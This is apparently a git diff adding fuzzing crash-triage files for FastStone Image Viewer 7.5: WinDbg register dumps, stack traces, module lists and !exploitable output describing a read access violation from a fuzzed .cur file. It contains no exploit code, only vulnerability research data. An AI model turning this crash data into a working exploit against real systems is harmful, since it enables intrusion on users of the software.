ecx=07e27b10 edx=00003879 esi=ffd70010 edi=07c50fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.189523000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.47424e+019 0.000455349 -5.33222e-030 -13.6578 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b3000 a7d1f5b9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f59777f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19F0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19F0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19f0.91c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07e27b10 edx=00003879 esi=ffd70010 edi=07c50fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.189523000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.47424e+019 0.000455349 -5.33222e-030 -13.6578 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b3000 a7d1f5b9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1f4feb5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..35e8830 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..8c98922 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA3C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA3C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 